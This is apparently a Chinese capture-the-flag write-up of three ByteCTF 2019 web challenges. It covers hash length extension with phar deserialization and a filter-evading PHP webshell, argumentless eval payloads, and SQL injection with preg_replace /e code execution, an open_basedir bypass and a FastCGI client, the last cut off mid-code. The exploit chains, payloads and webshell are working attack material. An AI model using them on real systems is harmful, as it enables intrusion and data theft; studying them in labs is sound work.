bytectf_web

EZcms

https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://github.com/glzjin/bytectf_2019_ezcms
http://www.lovei.org/archives/bytectf2019.html

考點(diǎn)為hash長(zhǎng)度擴(kuò)展+phar反序列化
首先掃描一下目錄,可以發(fā)現(xiàn)源碼泄露。掃了一眼,其中config.php如下:

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}  

hash長(zhǎng)度擴(kuò)展很簡(jiǎn)單,hashPump搞一下就ok了,然后再在請(qǐng)求頭中放上新的cookie

然后應(yīng)該是文件上傳了,但是沒有解析點(diǎn),所以還是利用.htaccess來解決,但是代碼中已經(jīng)有了.htaccess,所以我們需要覆蓋掉已有的文件來重新寫一個(gè).htaccess。所以需要phar反序列化來完成文件的覆蓋。
所以我們需要找到文件操作的函數(shù),來觸發(fā)phar反序列化。
view.php中不難發(fā)現(xiàn),view_detail方法中有用到mime_content_type


phar反序列化的利用鏈

  1. 構(gòu)造一個(gè)File類,__construct為將checker指向一個(gè)Profile對(duì)象,如下:
class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath)
    {
        $this->checker = new Profile();
    }
}
  1. 此時(shí)服務(wù)器反序列化File對(duì)象的時(shí)候,會(huì)調(diào)用File__destruct,即
    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
  1. 但是Profile類并沒有upload_file(),在對(duì)象中調(diào)用一個(gè)不可訪問方法時(shí),__call就會(huì)被調(diào)用
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
  1. 我們也可以重新構(gòu)造一個(gè)Profile類,來將$admin,$username,$password全部重寫
class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = 
        $this->username = 
        $this->password = 
    }
}
  1. 因?yàn)槿齻€(gè)變量都是可控的,所以我們可以通過控制admin變量來調(diào)用所有內(nèi)置類的open方法。fuzz一下,所有有open方法的類(以后遇到需要用到內(nèi)置類的同名方法時(shí)也能夠進(jìn)行快速fuzz)
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $arr_func = get_class_methods($class);
    foreach ($arr_func as $func) {
        if($func == "open"){
            echo $class . " " .$func."\n";
        }
    }
}
?>


其中ziparchive以及ziparchive::open

  1. 所以Profile中三個(gè)變量分別為
class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/xxx/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

所以最后的exp為

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath)
    {
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/xxx/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

$exception = new File();
@unlike('vul.phar');
$phar = new Phar("vul.phar");  
$phar->startBuffering();  
$phar->addFromString("test.txt", "test");   
$phar->setStub("<?php__HALT_COMPILER(); ?>");  
$phar->setMetadata($exception);
$phar->stopBuffering();
?>

然后是上傳木馬的時(shí)候會(huì)進(jìn)行檢查關(guān)鍵詞

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }

關(guān)鍵詞用.連接即可。

wp

訪問頁面,獲得hash,使用hashpump


\替換成%,登錄時(shí)賬號(hào)為admin,密碼為admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zz
upload.php頁面,上傳木馬文件

<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

上傳時(shí)將cookie中的hash改成user=f03071a6479f4b51edf874f785c28909

利用剛才的exp.php生成vul.phar文件,這里會(huì)報(bào)錯(cuò)表示phar readonly,需要去php.ini中將phar readonly選項(xiàng)前面注釋去掉,且設(shè)為Off,生成的vul.phar改成vul.txt

再次上傳vul.txt,同樣要更改cookie

利用filter繞過對(duì)phar的過濾 (見suctf2019),上傳之后利用php://filter/resource=phar://解析,之后可以發(fā)現(xiàn).htaccess已經(jīng)消失

view.php?filename=2dab927c19ee49f27ba22d578e2c28c5.txt&filepath=php://filter/resource=phar://./sandbox/a76ab7c1a624927bc33996bdb8e5d69f/2dab927c19ee49f27ba22d578e2c28c5.txt


這時(shí)候不能訪問upload.php,不然又會(huì)重新生成.htaccess文件。直接訪問木馬文件,得到shell

boring-code

http://www.guildhab.top/?p=1077
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://xz.aliyun.com/t/6305#toc-3
http://www.zyzilxy.top:1220/2019/09/08/bytectf-web-wpmisc-wp/

題目源碼如下:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

代碼分析

可以發(fā)現(xiàn)大致可以分為兩層:

  1. 如何構(gòu)造一個(gè)可以繞過filter_var()preg_match()file_get_contents()的URL
  2. 如何構(gòu)造一個(gè)無參的,類似a(b(c))這個(gè)樣式的shell

首先我們先考慮第一層
繞過filter_var()preg_match()file_get_contents(),可以參考:

  1. https://www.cnblogs.com/wfzWebSecuity/p/11139832.html
  2. https://v0w.top/2018/11/23/SSRF-notes/#2-parse-url%E4%B8%8Elibcurl%E5%AF%B9curl%E7%9A%84%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82

上述文章主要針對(duì)exec(curl -s -v)以及file_get_contents()這兩種請(qǐng)求方式進(jìn)行分析:
其中exec(curl -s -v),這種請(qǐng)求方式的,繞過filter_var()preg_match()主要靠parse_url()libcurl對(duì)url的解析差異。
但是如果是用file_get_contents()來請(qǐng)求url,我們只知道一種方式同時(shí)繞過上述三個(gè)函數(shù),就是利用data://偽協(xié)議來實(shí)施XSS,payload可以為data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=

但是data偽協(xié)議被過濾了。
目前我知道有幾種方法:

  1. 氪金購買一個(gè)xxxbaidu.com的域名
  2. 使用百度網(wǎng)盤來生成惡意代碼的下載鏈接,來繞過百度域名的限制
    上傳一個(gè)惡意腳本到網(wǎng)盤,使用f12,可以在network里找到文件鏈接
    該鏈接既滿足遠(yuǎn)程文件的讀取,又
    可以繞過第一層的限制
https://pcsdata.baidu.com/file/56f6fccae921d07f3c16ec128f50ccc5?fid=1512747330-250528-756792909588834&rt=pr&sign=FDtAER-DCb740ccc5511e5e8fedcff06b081203-GH3j%2FCsuxRONbQnQvsCxyst4cb4%3D&expires=8h&chkv=0&chkbd=0&chkpc=&dp-logid=6277347536586414989&dp-callid=0&dstime=1569656941&r=291388556&vip=0&use=1&channel=chunlei&web=1&app_id=250528&bdstoken=b471aadce60e975ee5748587faa5e9e3&logid=MTU2OTY1Njk0MTk1MDAuMzk1MzE0MTE3MzI2NzI0Nw==&clienttype=0
  1. 百度url的跳轉(zhuǎn)

接下來來看第二層

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
               if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                   echo 'bye~';
               } else {
                   eval($code);
               }
           }

要求構(gòu)造一個(gè)無參的shell,類似a(b(c()))這種形式,這里可以參考一葉飄零師傅,但是題目中又把帶et全過濾了,所以有get的函數(shù)全部不能使用。

題目提示說flag在上層index.php中,即整個(gè)網(wǎng)站的目錄結(jié)構(gòu)為

fuzz一下能用的函數(shù)

<?php
$arr_fun = array();
$j = 0;
for($i=0;$i<count(get_defined_functions()['internal']);$i++){
    if(!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i',get_defined_functions()['internal'][$i])){
        $arr_fun[$j]=get_defined_functions()['internal'][$i];
        $j++;
    }
}
var_dump($arr_fun)
?>


能用的卻不多。
首先如果想要讀取上層目錄的文件,..是不可少的。我們需要知道的是scandir(getcwd())這個(gè)函數(shù)會(huì)將當(dāng)前目錄下所有文件都放在一個(gè)數(shù)組中返回,但是getcwd()使用不了,我們可以用.來表示當(dāng)前目錄,如下圖:

其中數(shù)組第0個(gè)元素是.,而第1個(gè)元素就是..,所以我們可以用next(scandir('.'))來獲取..



因?yàn)椴荒軒?shù),所以.也不行,所以我們有沒有無參的函數(shù)可以獲得.呢?這里有兩種方法:

  1. localeconv()返回一個(gè)包含本地?cái)?shù)字及貨幣格式信息的數(shù)組。其中第0個(gè)就是.這時(shí)候再結(jié)合current()或者pos()來獲得數(shù)組指定元素,默認(rèn)就是第0個(gè)。

  2. crypt(serialize(array()))首先定義一個(gè)數(shù)組 , 然后對(duì)其進(jìn)行序列化操作 , 輸出序列化字符串 , 這里沒什么問題 . 然后就用到一個(gè)非常關(guān)鍵的函數(shù) : crypt()。該函數(shù)是hash函數(shù),主要是,上述結(jié)果中有可能會(huì)在字符串結(jié)尾產(chǎn)生一個(gè).。然后我們可以再利用chr(ord(strrev())),其中chr(ord())可以將字符串的第一個(gè)字符取出來。這樣我們也可以完成.的生成

ord() : 解析 string 二進(jìn)制值第一個(gè)字節(jié)為 0 到 255 范圍的無符號(hào)整型類型( 不嚴(yán)禁的說就是將字符串第一個(gè)字符轉(zhuǎn)換為 ASCII 編碼 )
chr() : 返回相對(duì)應(yīng)于 ASCII 所0指定的單個(gè)字符 , 該函數(shù)與 ord() 是對(duì)應(yīng)的~

接下來是目錄切換
chdir()來完成目錄的轉(zhuǎn)換,但是chdir()返回值是bool,緊接著三個(gè)方法:

  1. 我們需要接下來的函數(shù)是輸入bool,輸出.來讓我們可以進(jìn)行文件讀取的。

    這里需要用到time()+ localtime()函數(shù)ByteCTF 2019 WriteUp By W&M
time() : 返回自從 Unix 紀(jì)元( 格林威治時(shí)間 1970 年 1 月 1 日 00:00:00 )到當(dāng)前時(shí)間的秒數(shù) , 也就是返回一個(gè)時(shí)間戳
localtime() : 以數(shù)值數(shù)組和關(guān)聯(lián)數(shù)組的形式輸出本地時(shí)間 . 

time() 的參數(shù)為 void 也就是說引入任意的參數(shù)都不會(huì)影響 , 其輸出( 不用去管那個(gè)警告 ) , 但是返回的時(shí)間戳無法成為" . "
localtime() 數(shù)組,可以提取出秒數(shù)的值,用chr轉(zhuǎn)換為字符串.,即在 46s 時(shí) chr(pos(localtime()))就會(huì)返回 ” . ”


再根據(jù)readfile(end('.'))讀取當(dāng)前目錄最后一個(gè)文件,即index.php,所以最后payload

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  1. 上述payload需要多發(fā)幾次,讓時(shí)間剛好卡在46秒。除了用時(shí)間函數(shù)來獲取46這個(gè)數(shù)字之外,還可以用各種數(shù)學(xué)的方法來獲得46。ByteCTF 2019 WriteUp Kn0ck
    核心思路是:phpvesion()會(huì)獲取當(dāng)前的php版本號(hào),然后使用floor()來取得第一個(gè)數(shù)字(7)。(反正我只能說真的是神仙
    給個(gè)payload
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
sqrt() : 返回一個(gè)數(shù)字的平方根
tan() : 返回一個(gè)數(shù)字的正切
cosh() : 返回一個(gè)數(shù)字的雙曲余弦
sinh() : 返回一個(gè)數(shù)字的雙曲正弦
ceil() : 返回不小于一個(gè)數(shù)字的下一個(gè)整數(shù) , 也就是向上取整


再通過chr()函數(shù)就可以返回ASCII編碼為 46 的字符 , 也就為. , 后面的步驟就和之前一樣 , 跳轉(zhuǎn)到根目錄 , 然后讀取index.php文件。

  1. 剛才獲得chdir()返回的bool,然后可以利用if語句來進(jìn)行當(dāng)前目錄下的文件的讀取,payload如下:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

babyblog

老規(guī)矩,掃描得到源碼

漏洞分析

首先注意到下面兩段代碼,分別來自writing.phpedit.php

if(isset($_POST['title']) && isset($_POST['content'])){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
    exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}else{
    include("templates/writing.html");
    exit();
}
if($_SESSION['id'] == $row['userid']){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
    exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
    exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }

第一段代碼是將titlecontent經(jīng)過addslashes()過濾之后插入數(shù)據(jù)庫之中。

$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");

第二段代碼直接將數(shù)據(jù)庫的title查詢出來直接拼接到update語句中

$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

這里存在一個(gè)二次注入,我們可以將payload通過writing.php寫入庫中,再通過editing.php重新拼接起來。
但是config.php中將postget方法所傳遞的參數(shù)給加了一層waf

function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);

這里我們可以根據(jù)這里的正則,在本地測(cè)試一下自己的代碼是否能過waf

<?php
function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                echo preg_replace('/'.$filter.'/is',"@@@",$value);
                echo "1111";
            }
            else{
                echo "222";
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
?>

其中我們知道,當(dāng)我們注冊(cè)一個(gè)用戶的時(shí)候,我們的isvip屬性是默認(rèn)設(shè)為0的

$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");

這里可以用兩種方法得到isvip值為1的用戶。

  1. PDO在php5.3以后是支持堆疊查詢,使用堆疊注入。payload如下:
Err0rzz';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2245727230727a7a223b;PREPARE a FROM @SQL;EXECUTE a;#

其中那串十六進(jìn)制是update users set isvip=1 where username="Err0rzz";




  1. 該方法需要數(shù)據(jù)庫中原本就有isvip為1的用戶,從而注得賬號(hào)密碼,這里利用異或注入1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1,完整的注入腳本https://xz.aliyun.com/t/6324#toc-5

接下來可以看到replace.php中有個(gè)可以代碼執(zhí)行的函數(shù)preg_replace()

$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

$replace會(huì)被當(dāng)做代碼執(zhí)行,而且因?yàn)閜hp版本5.4以下都可以用%00來截?cái)啵晕覀兛梢杂?code>%00來截?cái)嗟?br> "/" . $_POST['find'] . "/"后面的那個(gè)/
所以最后的payload如下:

$_POST['find']=.*/e%00  
$_POST['replace']=phpinfo(); 


接下來通過copy命令進(jìn)行shell寫入

<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

包含該文件可以繞過open_dir的限制,瀏覽到根目錄文件


用同樣的方法上傳FastCGI腳本

<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
    $this->_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
          $this->_keepAlive = (boolean) $b;
          if ( ! $this->_keepAlive && $this->_sock ) {
              fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
          $was_persistent          = ( $this->_sock && $this->_persistentSocket );
          $this->_persistentSocket = (boolean) $b;
          if ( ! $this->_persistentSocket && $was_persistent ) {
              fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
          $this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
          $this->_readWriteTimeout = $timeoutMs;
          $this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
          if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
              if ( $this->_persistentSocket ) {
                  $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              } else {
                  $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              }
              if ( ! $this->_sock ) {
                  throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
              }
              if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
          $clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
                 . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
                 . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
                 . chr( 0 )                        /* paddingLength */
                 . chr( 0 )                        /* reserved */
                 . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
              /* nameLengthB0 */
              $nvpair = chr( $nlen );
          } else {
              /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
              $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
          if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
          while ( $p != $length ) {
              $nlen = ord( $data{$p ++} );
              if ( $nlen >= 128 ) {
                  $nlen = ( $nlen & 0x7F << 24 );
                  $nlen |= ( ord( $data{$p ++} ) << 16 );
                  $nlen |= ( ord( $data{$p ++} ) << 8 );
                  $nlen |= ( ord( $data{$p ++} ) );
              }
              $vlen = ord( $data{$p ++} );
              if ( $vlen >= 128 ) {
                  $vlen = ( $nlen & 0x7F << 24 );
                  $vlen |= ( ord( $data{$p ++} ) << 16 );
                  $vlen |= ( ord( $data{$p ++} ) << 8 );
                  $vlen |= ( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
              $p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret                  = array();
          $ret['version']       = ord( $data{0} );
          $ret['type']          = ord( $data{1} );
          $ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength'] = ord( $data{6} );
          $ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
              $resp['content'] = '';
        if ( $resp['contentLength'] ) {
                  $len = $resp['contentLength'];
                  while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
                      $len             -= strlen( $buf );
                      $resp['content'] .= $buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request = '';
          foreach ( $requestedInfo as $info ) {
              $request .= $this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp = $this->readPacket();
          if ( $resp['type'] == self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
          $request       = $this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest = '';
    foreach ( $params as $key => $value ) {
              $paramsRequest .= $this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
          do {
